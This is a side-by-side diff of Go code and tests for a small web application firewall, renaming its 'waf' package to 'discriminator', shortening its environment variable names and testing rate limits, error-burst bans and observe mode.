// serve serves server on a port of its own until the test ends, and sets its // serve serves server on a port of its own until the test ends, and sets its
// Addr to where it listens. // Addr to where it listens.
func serve(t *testing.T, server *waf.Server) { func serve(t *testing.T, server *discriminator.Server) {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -360,25 +345,27 @@ func serve(t *testing.T, server *waf.Server) {
}) })
} }
// startRProxy starts rproxy in front of the app at appURL, asking the waf // startRProxy starts rproxy in front of the app at appURL, asking the discriminator
// at wafAddr, with the settings in env on top of the defaults, and returns // at discriminatorAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. // where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that // env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
// decide.
func startRProxy( func startRProxy(
t *testing.T, wafAddr, appURL string, env map[string]string, t *testing.T, discriminatorAddr, appURL string, env map[string]string,
) string { ) string {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr, "SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL, "SWRP_UPSTREAM_URL": appURL,
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000", "SWRP_TIMEOUT_MS": "60000",
} }
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings)) cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
@@ -386,18 +373,10 @@ func startRProxy(
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: io.Discard, RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
io.Discard,
"rproxy",
slog.LevelInfo,
),
}) })
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -413,36 +392,33 @@ func startRProxy(
return listener.Addr().String() return listener.Addr().String()
} }
// newWAF makes waf's server, without starting it, and // newDiscriminator makes discriminator's server, without starting it, and
// returns it, what it writes, and the queue of the alerts it raises, as the // returns it, what it writes, and the queue of the alerts it raises, as the
// settings in env make it. No alert is sent from the queue: they wait in it, // settings in env make it. No alert is sent from the queue: they wait in it,
// for the test to look at. // for the test to look at.
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and // With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
// SWW_WAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup // SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWW_WAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB // database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWW_WAF_ABUSEIPDB_KEY. // at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
// SWW_WAF_CORE_RULE_SET_MODE is off unless env sets it, so that only the tests of the // env sets it, so that only the tests of the Core Rule Set have their requests
// Core Rule Set have their requests inspected by it. // inspected by it.
func newWAF( func newDiscriminator(
t *testing.T, t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
geojsURL string, ) (*discriminator.Server, *output, *alerts.Queue) {
now func() time.Time,
env map[string]string,
) (*waf.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
return newWAFWith(t, waf.New, geojsURL, now, env) return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
} }
// newWAFWith is newWAF for the server build makes. // newDiscriminatorWith is newDiscriminator for the server build makes.
func newWAFWith( func newDiscriminatorWith(
t *testing.T, build func(waf.Params) *waf.Server, t *testing.T, build func(discriminator.Params) *discriminator.Server,
geojsURL string, now func() time.Time, env map[string]string, geojsURL string, now func() time.Time, env map[string]string,
) (*waf.Server, *output, *alerts.Queue) { ) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off, rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
} }
if geojsURL == "" { if geojsURL == "" {
settings[lookupSource] = off settings[lookupSource] = off
@@ -450,20 +426,20 @@ func newWAFWith(
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings)) cfg, err := config.FromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
out := &output{} out := &output{}
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
out,
cfg.InstanceName,
cfg.LogLevel,
)
ruleFiles, err := rules.Load(rules.Params{ ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog, Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
}) })
if err != nil { if err != nil {
t.Fatalf("rule files: %v", err) t.Fatalf("rule files: %v", err)
@@ -490,12 +466,12 @@ func newWAFWith(
} }
} }
coreRuleSet, err := waf.NewCoreRuleSet(cfg) coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
if err != nil { if err != nil {
t.Fatalf("Core Rule Set: %v", err) t.Fatalf("Core Rule Set: %v", err)
} }
server := build(waf.Params{ server := build(discriminator.Params{
Config: cfg, Config: cfg,
RequestLog: out, RequestLog: out,
ProcessLog: processLog, ProcessLog: processLog,
@@ -537,28 +513,14 @@ func readAnswer(res *http.Response) answer {
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
_ = res.Body.Close() _ = res.Body.Close()
return answer{ return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
status: res.StatusCode,
header: res.Header,
body: body,
err: err,
}
} }
// newRequest makes a request for path to addr, where rproxy or waf listens. // newRequest makes a request for path to addr, where rproxy or discriminator listens.
func newRequest( func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
t *testing.T,
method, addr, path string,
body io.Reader,
) *http.Request {
t.Helper() t.Helper()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
t.Context(),
method,
"http://"+addr+path,
body,
)
if err != nil { if err != nil {
t.Fatalf("new request: %v", err) t.Fatalf("new request: %v", err)
} }
@@ -1,7 +1,7 @@
package waf package discriminator
// The heuristic rate_limits. It reads SWW_WAF_RATE_LIMIT_EXEMPT_NETS, // The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS and SWW_WAF_BAN_RESPONSE, and the rate limits and // SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
// biased thresholds through the limiter and limitPercentages. // biased thresholds through the limiter and limitPercentages.
import ( import (
@@ -22,11 +22,7 @@ type rateLimits struct{}
func (rateLimits) name() string { return "rate_limits" } func (rateLimits) name() string { return "rate_limits" }
func (rateLimits) check( func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
rq.counted = rq.countedByRateLimits() rq.counted = rq.countedByRateLimits()
if !rq.counted { if !rq.counted {
return nil return nil
@@ -63,8 +59,8 @@ func (rq *request) overAWholeRateLimit(now time.Time) bool {
} }
// countedByRateLimits reports whether the rate limits count the request: its // countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt // client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWW_WAF_RATE_LIMIT_EXEMPT_PATHS. // under SWW_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool { func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config cfg := rq.h.config
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// minute is the window of SWW_WAF_RATE_LIMIT_PER_MINUTE, as a log line's // minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
// limit_hit names it. // limit_hit names it.
const minute = "minute" const minute = "minute"
@@ -42,11 +42,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
{otherClient, otherClient, http.StatusOK}, {otherClient, otherClient, http.StatusOK},
{"::ffff:" + otherClient, otherClient, http.StatusForbidden}, {"::ffff:" + otherClient, otherClient, http.StatusForbidden},
{"2001:db8::1", "2001:db8::1", http.StatusOK}, {"2001:db8::1", "2001:db8::1", http.StatusOK},
{ {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
"2001:db8::8000:0:0:1",
"2001:db8::8000:0:0:1",
http.StatusForbidden,
},
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK}, {"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
} }
@@ -57,11 +53,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
if line.ClientIP != sent.logged { if line.ClientIP != sent.logged {
t.Errorf( t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
"log line has client_ip %q, want %q",
line.ClientIP,
sent.logged,
)
} }
if sent.want == http.StatusOK { if sent.want == http.StatusOK {
@@ -83,31 +75,18 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client, wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantHeuristic(
t,
line,
"rate_limits",
`{"window": "minute", "count": 2, "limit": 1}`,
)
} }
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) { func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel() t.Parallel()
// With SWW_WAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two // With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the // /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client. // limit; the third, in the next /48, is another client.
const ( const (
@@ -150,7 +129,7 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
@@ -169,26 +148,11 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
// With a limit of one request a minute, the requests for paths under a // With a limit of one request a minute, the requests for paths under a
// prefix are not counted, so client's first request for / is within // prefix are not counted, so client's first request for / is within
// the limit; and once client has reached it, they are not refused. // the limit; and once client has reached it, they are not refused.
s.request( s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
client, s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
"/assets/app.js",
http.StatusOK,
requestlog.ActionForward,
)
s.request(
client,
"/favicon.ico?v=2",
http.StatusOK,
requestlog.ActionForward,
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.request( line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
client,
"/assets/app.js",
http.StatusOK,
requestlog.ActionForward,
)
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) { if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
t.Errorf("log line has limit_hit %q and counts %+v, want neither", t.Errorf("log line has limit_hit %q and counts %+v, want neither",
line.LimitHit, line.Counts) line.LimitHit, line.Counts)
@@ -199,7 +163,7 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
s.request(client, "/assets", http.StatusForbidden, s.request(client, "/assets", http.StatusForbidden,
requestlog.ActionClientIsRateLimited) requestlog.ActionClientIsRateLimited)
// A ban, SWW_WAF_DENY_NETS and SWW_WAF_TAG_DENY still refuse a path under a // A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
// prefix. // prefix.
s.request(client, "/assets/app.js", http.StatusForbidden, s.request(client, "/assets/app.js", http.StatusForbidden,
requestlog.ActionTemporarilyBanned) requestlog.ActionTemporarilyBanned)
@@ -250,12 +214,7 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
// Counted, the second request breaks the limit of one request // Counted, the second request breaks the limit of one request
// a minute. // a minute.
s.request(client, sent, http.StatusOK, requestlog.ActionForward) s.request(client, sent, http.StatusOK, requestlog.ActionForward)
s.request( s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
sent,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
}) })
} }
} }
@@ -1,7 +1,7 @@
package waf package discriminator
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and // The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
// SWW_WAF_BAN_RESPONSE. // SWW_BAN_RESPONSE.
import ( import (
"context" "context"
@@ -11,24 +11,20 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// refusalLimit counts the request once it has been answered, if waf // refusalLimit counts the request once it has been answered, if discriminator
// refused it after a rule file match, a trap path or a Core Rule Set match, and // refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than // in observe mode if enforce mode would have: more than
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break // SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the // a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the threshold is off. // heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit. // Its figures are the window, the count and the limit.
type refusalLimit struct{} type refusalLimit struct{}
func (refusalLimit) name() string { return "refusal_limit" } func (refusalLimit) name() string { return "refusal_limit" }
func (refusalLimit) check( func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.RefusalsLimitPerMinute == 0 { if cfg.ErrorBurstThreshold == 0 {
return nil return nil
} }
@@ -37,7 +33,7 @@ func (refusalLimit) check(
} }
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now, hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.RefusalsLimitPerMinute) cfg.ErrorBurstThreshold)
if !over { if !over {
return nil return nil
} }
@@ -46,11 +42,9 @@ func (refusalLimit) check(
status := rq.out.status status := rq.out.status
switch rq.line.WouldAction { switch rq.line.WouldAction {
case requestlog.ActionBlockedByBlockRule, case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
requestlog.ActionBlockedByCoreRuleSet:
status = http.StatusForbidden status = http.StatusForbidden
case requestlog.ActionTemporarilyBanned, case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
requestlog.ActionPermanentlyBanned:
status = cfg.BanResponse status = cfg.BanResponse
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,14 +10,14 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE" const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which waf refuses after a rule // refused is a request the tests here send, which discriminator refuses after a rule
// file match. // file match.
type refused int type refused int
@@ -49,16 +49,16 @@ func (r refused) send(s *sender, from string) logLine {
} }
// startForErrorBurst is startWithClock with testRules, the metrics token and // startForErrorBurst is startWithClock with testRules, the metrics token and
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env. // SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst( func startForErrorBurst(
t *testing.T, threshold string, env map[string]string, t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
refusalsLimitPerMinute: threshold, errorBurstThreshold: threshold,
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
metricsToken: token, metricsToken: token,
} }
maps.Copy(settings, env) maps.Copy(settings, env)
@@ -97,13 +97,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
for i, r := range tc.refusals[:3] { for i, r := range tc.refusals[:3] {
line := r.send(s, client) line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" { if line.LimitHit != "" || line.Offence != "" {
t.Errorf( t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"refusal %d: log line has limit_hit %q and offence %q, "+ "want none", i+1, line.LimitHit, line.Offence)
"want none",
i+1,
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -114,12 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
line := tc.refusals[3].send(s, client) line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
"log line has limit_hit %q and offence %q, want minute_refusals "+ "and limit", line.LimitHit, line.Offence)
"and limit",
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusForbidden, tc.nextAction) s.get(client, http.StatusForbidden, tc.nextAction)
@@ -158,10 +149,7 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
expires := start.Add(time.Hour) expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf( t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
"log line has ban_expires %q, want an hour on",
line.BanExpires,
)
} }
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -195,30 +183,16 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3} wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
if offences := historyOf(t, server, client).Offences; offences != wantOffences { if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf( t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
"history counts the offences %+v, want %+v",
offences,
wantOffences,
)
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1) `kind="refusals",window="minute"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
t,
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
1,
)
wantMetric(t, metrics, wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3) `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
wantMetric( wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
1,
)
} }
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
@@ -226,10 +200,10 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
refusalsLimitPerMinute: "2", errorBurstThreshold: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
tagLimitPercent: countryTagDEHalf, tagLimitPercent: countryTagDEHalf,
}) })
// Half of the threshold would be one, which the second refusal is over. // Half of the threshold would be one, which the second refusal is over.
@@ -243,12 +217,8 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
blockRule.send(s, fromDE) blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
got[0].Notes.LimitPercent != nil { t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
t.Errorf(
"bans %+v, want one for the limit of 2, without a limit percentage",
got,
)
} }
} }
@@ -260,16 +230,9 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
"/private": http.StatusUnauthorized, "/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden, "/forbidden": http.StatusForbidden,
} }
s, _, _, queue := startAppWithAlerts( s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
t, w.WriteHeader(statuses[r.URL.Path])
func(w http.ResponseWriter, r *http.Request) { }, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
w.WriteHeader(statuses[r.URL.Path])
},
map[string]string{
refusalsLimitPerMinute: "1",
ruleFilesDir: writeRules(t, testRules),
},
)
for range 2 { for range 2 {
for path, status := range statuses { for path, status := range statuses {
@@ -284,12 +247,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
} }
// No ban was made, nor its alert raised. // No ban was made, nor its alert raised.
s.request( s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
client,
"/missing",
http.StatusNotFound,
requestlog.ActionForward,
)
wantAlerts(t, queue) wantAlerts(t, queue)
} }
@@ -298,18 +256,18 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
threshold string threshold string
// broken is whether the 31st refusal breaks the refusal limit. // broken is whether the 31st refusal breaks the error burst.
broken bool broken bool
}{ }{
{"", true}, {"", true},
{off, false}, {off, false},
} { } {
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) { t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{ruleFilesDir: writeRules(t, testRules)} env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" { if tc.threshold != "" {
env[refusalsLimitPerMinute] = tc.threshold env[errorBurstThreshold] = tc.threshold
} }
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
@@ -321,11 +279,8 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken { if broken != tc.broken {
t.Errorf( t.Errorf("the 31st refusal broke the error burst: %t, want %t",
"the 31st refusal broke the refusal limit: %t, want %t", broken, tc.broken)
broken,
tc.broken,
)
} }
}) })
} }
@@ -335,22 +290,17 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
s, _, _ := startForErrorBurst(t, "1", map[string]string{ s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt, allowNets: allowed, rateLimitExemptNets: exempt,
}) })
// A client in SWW_WAF_ALLOW_NETS is not refused, and so not counted. // A client in SWW_ALLOW_NETS is not refused, and so not counted.
for range 3 { for range 3 {
s.request( s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
allowed,
blockedPath,
http.StatusOK,
requestlog.ActionForward,
)
} }
// One the rate limits do not apply to is. // One the rate limits do not apply to is.
@@ -358,10 +308,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
line := blockRule.send(s, exempt) line := blockRule.send(s, exempt)
if line.LimitHit != requestlog.LimitHitMinuteRefusals { if line.LimitHit != requestlog.LimitHitMinuteRefusals {
t.Errorf( t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
"log line has limit_hit %q, want minute_refusals",
line.LimitHit,
)
} }
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -370,11 +317,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startForErrorBurst( s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
t,
"1",
map[string]string{limitBanDuration: "1s"},
)
blockRule.send(s, client) blockRule.send(s, client)
blockRule.send(s, client) blockRule.send(s, client)
@@ -393,9 +336,9 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
refusalsLimitPerMinute: "1", errorBurstThreshold: "1",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
held := bans.Ban{ held := bans.Ban{
@@ -422,26 +365,15 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
// is the second of the client's, and would have banned it. // is the second of the client's, and would have banned it.
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
line := s.request( line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
client,
blockedPath,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
line.BanExpires != "" { t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
t.Errorf( "and none", line.LimitHit, line.BanExpires)
"log line has limit_hit %q and ban_expires %q, want minute_refusals "+
"and none",
line.LimitHit,
line.BanExpires,
)
} }
if got := server.Ledger.Snapshot(); len(got) != 1 || if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
!reflect.DeepEqual(got[0], held) {
